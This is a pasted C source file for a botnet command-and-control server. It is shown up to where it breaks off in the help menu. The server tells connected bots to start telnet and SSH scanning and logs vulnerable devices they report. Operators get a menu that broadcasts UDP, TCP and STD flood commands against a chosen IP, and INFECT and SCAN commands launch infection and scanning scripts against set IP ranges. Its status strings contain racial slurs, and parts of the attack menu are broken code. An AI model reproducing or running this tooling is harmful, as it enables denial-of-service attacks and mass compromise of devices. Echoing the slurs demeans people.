Advertisement
Guest User

Untitled

a guest
Mar 9th, 2017
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.16 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[10];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  189. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  190. }
  191. continue;
  192. }
  193. else {
  194. int datafd = events[i].data.fd;
  195. struct clientdata_t *client = &(clients[datafd]);
  196. int done = 0;
  197. client->connected = 1;
  198. while (1) {
  199. ssize_t count;
  200. char buf[2048];
  201. memset(buf, 0, sizeof buf);
  202. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  203. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  204. trim(buf);
  205. if(strcmp(buf, "PING") == 0) {
  206. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  207. continue;
  208. }
  209. if(strstr(buf, "REPORT ") == buf) {
  210. char *line = strstr(buf, "REPORT ") + 7;
  211. fprintf(telFD, "%s\n", line);
  212. fflush(telFD);
  213. TELFound++;
  214. continue;
  215. }
  216. if(strstr(buf, "PROBING") == buf) {
  217. char *line = strstr(buf, "PROBING");
  218. scannerreport = 1;
  219. continue;
  220. }
  221. if(strstr(buf, "REMOVING PROBE") == buf) {
  222. char *line = strstr(buf, "REMOVING PROBE");
  223. scannerreport = 0;
  224. continue;
  225. }
  226. if(strcmp(buf, "PONG") == 0) {
  227. continue;
  228. }
  229. printf("buf: \"%s\"\n", buf);
  230. }
  231. if (count == -1) {
  232. if (errno != EAGAIN) {
  233. done = 1;
  234. }
  235. break;
  236. }
  237. else if (count == 0) {
  238. done = 1;
  239. break;
  240. }
  241. if (done) {
  242. client->connected = 0;
  243. close(datafd);
  244. }}}}}}
  245. unsigned int BotsConnected() {
  246. int i = 0, total = 0;
  247. for(i = 0; i < MAXFDS; i++) {
  248. if(!clients[i].connected) continue;
  249. total++;
  250. }
  251. return total;
  252. }
  253. void *TitleWriter(void *sock) {
  254. int datafd = (int)sock;
  255. char string[2048];
  256. while(1) {
  257. memset(string, 0, 2048);
  258. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  259. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  260. sleep(2);
  261. }}
  262. int Find_Login(char *str) {
  263. FILE *fp;
  264. int line_num = 0;
  265. int find_result = 0, find_line=0;
  266. char temp[512];
  267.  
  268. if((fp = fopen("login.txt", "r")) == NULL){
  269. return(-1);
  270. }
  271. while(fgets(temp, 512, fp) != NULL){
  272. if((strstr(temp, str)) != NULL){
  273. find_result++;
  274. find_line = line_num;
  275. }
  276. line_num++;
  277. }
  278. if(fp)
  279. fclose(fp);
  280. if(find_result == 0)return 0;
  281. return find_line;
  282. }
  283. void *BotWorker(void *sock) {
  284. int datafd = (int)sock;
  285. int find_line;
  286. OperatorsConnected++;
  287. pthread_t title;
  288. char buf[2048];
  289. char* username;
  290. char* password;
  291. memset(buf, 0, sizeof buf);
  292. char botnet[2048];
  293. memset(botnet, 0, 2048);
  294. char botcount [2048];
  295. memset(botcount, 0, 2048);
  296. char statuscount [2048];
  297. memset(statuscount, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332. char ascii_failed_line1 [80];
  333. char ascii_failed_line2 [80];
  334. char ascii_failed_line3 [80];
  335. char ascii_failed_line4 [80];
  336. char ascii_failed_line5 [80];
  337. char ascii_failed_line6 [80];
  338. char ascii_failed_line7 [80];
  339. char ascii_failed_line8 [80];
  340. char ascii_failed_line9 [80];
  341. char ascii_failed_line10 [80];
  342. char ascii_failed_line11 [80];
  343. char ascii_failed_line12 [80];
  344. char ascii_failed_line13 [80];
  345. char ascii_failed_line14 [80];
  346. char ascii_failed_line15 [80];
  347. char ascii_failed_line16 [80];
  348. char ascii_failed_line17 [80];
  349.  
  350. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  351. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  352. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  353. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  354. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  355. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  356. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  357. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  358. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  359. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  360. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  361. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  362. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  363. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  364. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  365. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  366. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  367.  
  368. sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  369.  
  370. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  376. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  378. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  379. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  381. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  382. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  384. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  385. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  387.  
  388. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  389. sleep(5);
  390. goto end;
  391.  
  392. Banner:
  393. pthread_create(&title, NULL, &TitleWriter, sock);
  394. char ascii_banner_line1 [5000];
  395. char ascii_banner_line2 [5000];
  396. char ascii_banner_line3 [5000];
  397. char ascii_banner_line4 [5000];
  398. char ascii_banner_line5 [5000];
  399. char ascii_banner_line6 [5000];
  400. char ascii_banner_line7 [5000];
  401. char ascii_banner_line8 [5000];
  402. char ascii_banner_line9 [5000];
  403. char ascii_banner_line10 [5000];
  404. char ascii_banner_line11 [5000];
  405. char ascii_banner_line12 [5000];
  406. char ascii_banner_line13 [5000];
  407. char ascii_banner_line14 [5000];
  408. char welcome_line [80];
  409. char banner_text_line1 [80];
  410. char banner_text_line2 [80];
  411. char banner_bot_count [2048];
  412. memset(banner_bot_count, 0, 2048);
  413.  
  414. sprintf(ascii_banner_line1, "\x1b[34m DDDDDDD AAAAAAAA RRRRRR KK K RRRRRR AAAAAAAA I \r\n");
  415. sprintf(ascii_banner_line2, "\x1b[34mDDDDDDDDD AAAAAAAAAA RRRRRRRR KKK KK RRRRRRRR AAAAAAAAAA II \r\n");
  416. sprintf(ascii_banner_line3, "\x1b[34mDDD `DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  417. sprintf(ascii_banner_line4, "\x1b[34mDDD DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  418. sprintf(ascii_banner_line5, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRR KKK KKK RRR RRR AAAAAAAAAA III \r\n");
  419. sprintf(ascii_banner_line6, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRRR KKKKKKKKKK RRR RRRR AAAAAAAAAA III \r\n");
  420. sprintf(ascii_banner_line7, "\x1b[34mDDD DDD AAA AAA RRRRRRRRR KKKKKKKKK RRRRRRRRR AAA AAA III \r\n");
  421. sprintf(ascii_banner_line8, "\x1b[34mDDD DDD AAA AAA RRRR RRRR KKK KKK RRRR RRRR AAA AAA III \r\n");
  422. sprintf(ascii_banner_line9, "\x1b[34mDDD DDD AAA AAA RRR `RRR KKK KKK RRR RRR AAA AAA III \r\n");
  423. sprintf(ascii_banner_line10, "\x1b[34mDDD DDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  424. sprintf(ascii_banner_line11, "\x1b[34mDDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  425. sprintf(ascii_banner_line12, "\x1b[34mDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  426. sprintf(ascii_banner_line13, "\x1b[34m AA RR RR KK KK RR RR AA II \r\n");
  427. sprintf(ascii_banner_line14, "\x1b[34m A R R K K R R A I \r\n");
  428. //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: b1nary@nigge.rs
  429. sprintf(welcome_line, "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  430. sprintf(banner_text_line1, "\x1b[34m [-] TYPE HELP FOR LIST OF COMMMANDS [-]\r\n");
  431. sprintf(banner_text_line2, "\x1b[34m [-] TYPE ATTACK FOR ATTACK GUI [+]");
  432.  
  433. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  441. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  442. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  443. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  444. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  447. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  448. while(1) {
  449. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(datafd, banner_text_line1, strlen(banner_text_line1), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, banner_text_line2, strlen(banner_text_line2), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  453. break;
  454. }
  455. pthread_create(&title, NULL, &TitleWriter, sock);
  456. managements[datafd].connected = 1;
  457.  
  458. while(fdgets(buf, sizeof buf, datafd) > 0)
  459. {
  460.  
  461. if(strstr(buf, "ATTACK"))
  462. {
  463. int choice;
  464.  
  465. char ATTACK_MENU [2048];
  466.  
  467. char UDP_ATTACK [2048];
  468. char UDP_ATTACK_MESSAGE [2048];
  469. char UDP_ATTACK_IP;
  470. char UDP_ATTACK_PORT;
  471. char UDP_ATTACK_SEC;
  472. char UDP_ATTACK_SEND_COMMAND;
  473.  
  474. char TCP_ATTACK [2048];
  475. char TCP_ATTACK_MESSAGE [2048];
  476. char TCP_ATTACK_IP;
  477. char TCP_ATTACK_PORT;
  478. char TCP_ATTACK_SEC;
  479. char TCP_ATTACK_SEND_COMMAND;
  480.  
  481. char STD_ATTACK [2048];
  482. char STD_ATTACK_MESSAGE [2048];
  483. char STD_ATTACK_IP;
  484. char STD_ATTACK_PORT;
  485. char STD_ATTACK_SEC;
  486. char STD_ATTACK_SEND_COMMAND;
  487.  
  488. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  489. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  490. do
  491. {
  492. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  493. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  494. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  495.  
  496. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  499. scanf("%d", &choice);
  500.  
  501. switch(choice)
  502. {
  503. case 1:
  504.  
  505. sprintf(UDP_ATTACK_IP, "IP: ");
  506. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  507. scanf("%d", &UDP_ATTACK_IP);
  508.  
  509. sprintf(UDP_ATTACK_PORT, "Port: ");
  510. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  511. scanf("%d", &UDP_ATTACK_PORT);
  512.  
  513. sprintf("Sec: ", &UDP_ATTACK_SEC);
  514. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  515. scanf("%d", &UDP_ATTACK_SEC);
  516.  
  517. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  518. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  519. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  520.  
  521. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  522. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  523.  
  524. continue;
  525. case 2:
  526.  
  527. sprintf(TCP_ATTACK_IP, "IP: ");
  528. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  529. scanf("%d", &TCP_ATTACK_IP);
  530.  
  531. sprintf(TCP_ATTACK_PORT, "Port: ");
  532. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  533. scanf("%d", &TCP_ATTACK_PORT);
  534.  
  535. sprintf(TCP_ATTACK_SEC, "Sec: ");
  536. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  537. scanf("%d", &TCP_ATTACK_SEC);
  538.  
  539. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  540. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  541. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  542.  
  543. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  544. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  545.  
  546. continue;
  547.  
  548. case 3:
  549.  
  550. sprintf(STD_ATTACK_IP, "IP: ");
  551. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  552. scanf("%d", &STD_ATTACK_IP);
  553.  
  554. sprintf(STD_ATTACK_PORT, "Port: ");
  555. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  556. scanf("%d", &STD_ATTACK_PORT);
  557.  
  558. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  559. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  560. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  561.  
  562. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  563. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  564.  
  565. continue;
  566.  
  567.  
  568. }}
  569. while(choice !=3);
  570. }
  571. if(strstr(buf, "BOTS"))
  572. {
  573. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  574. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  575. continue;
  576. }
  577. if(strstr(buf, "STATUS"))
  578. {
  579. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  580. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  581. continue;
  582. }
  583. if(strstr(buf, "STATS"))
  584. {
  585. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  586. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  587. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  588. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  589. continue;
  590. }
  591. if(strstr(buf, "INFECT"))
  592. {
  593. system("python telnet.py filtered.txt");
  594. continue;
  595. }
  596. if(strstr(buf, "REINFECT"))
  597. {
  598. system("python w.py filtered_ssh.txt");
  599. continue;
  600. }
  601. if(strstr(buf, "FILTER"))
  602. {
  603. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  604. continue;
  605. }
  606. if(strstr(buf, "LOAD"))
  607. {
  608. system("python scan.py 376 LOAD 88 1");
  609. continue;
  610. }
  611. if(strstr(buf, "SCAN1"))
  612. {
  613. system("python scan.py 376 B 119.92 lol");
  614. continue;
  615. }
  616. if(strstr(buf, "SCAN2"))
  617. {
  618. system("python scan.py 376 B 119.93 lol");
  619. continue;
  620. }
  621. if(strstr(buf, "SCAN3")) {
  622. system("python scan.py 376 B 125.25 1");
  623. continue;
  624. }
  625. if(strstr(buf, "SCAN4"))
  626. {
  627. system("python scan.py 376 B 125.26 1");
  628. continue;
  629. }
  630. if(strstr(buf, "SCAN5")) {
  631. system("python scan.py 376 B 125.27 1");
  632. continue;
  633. }
  634. if(strstr(buf, "SCAN6")) {
  635. system("python scan.py 376 B 113.53 1");
  636. continue;
  637. }
  638. if(strstr(buf, "SCAN7"))
  639. {
  640. system("python scan.py 376 B 180.180 1");
  641. continue;
  642. }
  643. if(strstr(buf, "SCAN8"))
  644. {
  645. system("python scan.py 376 B 185.52 1");
  646. continue;
  647. }
  648. if(strstr(buf, "SCAN9"))
  649. {
  650. system("python scan.py 376 B 122.52 1");
  651. continue;
  652. }
  653. if(strstr(buf, "SCAN10"))
  654. {
  655. system("python scan.py 376 B 122.53 1");
  656. continue;
  657. }
  658. if(strstr(buf, "SCAN11"))
  659. {
  660. system("python scan.py 376 B 101.102");
  661. continue;
  662. }
  663. if(strstr(buf, "LUCKY"))
  664. {
  665. system("python scan.py 376 LUCKY 88 1");
  666. continue;
  667. }
  668. if(strstr(buf, "LUCKY2"))
  669. {
  670. system("python scan.py 376 LUCKY2 88 1");
  671. continue;
  672. }
  673. if(strstr(buf, "SCAN_OFF"))
  674. {
  675. system("killall -9 python");
  676. continue;
  677. }/*OTHER COMMANDS*/
  678. if(strstr(buf, "HELP"))
  679. {
  680. pthread_create(&title, NULL, &TitleWriter, sock);
  681. char helpline1 [80];
  682. char helpline2 [80];
  683. char helpline3 [80];
  684. char helpline4 [80];
  685. char helpline5 [80];
  686. char helpline6 [80];
  687. char helpline7 [80];
  688. char helpline8 [80];
  689. char helpline9 [80];
  690. char helpline10 [80];
  691. char helpline11 [80];
  692. char helpline12 [80];
  693. char helpline13 [80];
  694. char helpline14 [80];
  695. char helpline15 [80];
  696. char helpline16 [80];
  697. char helpline17 [80];
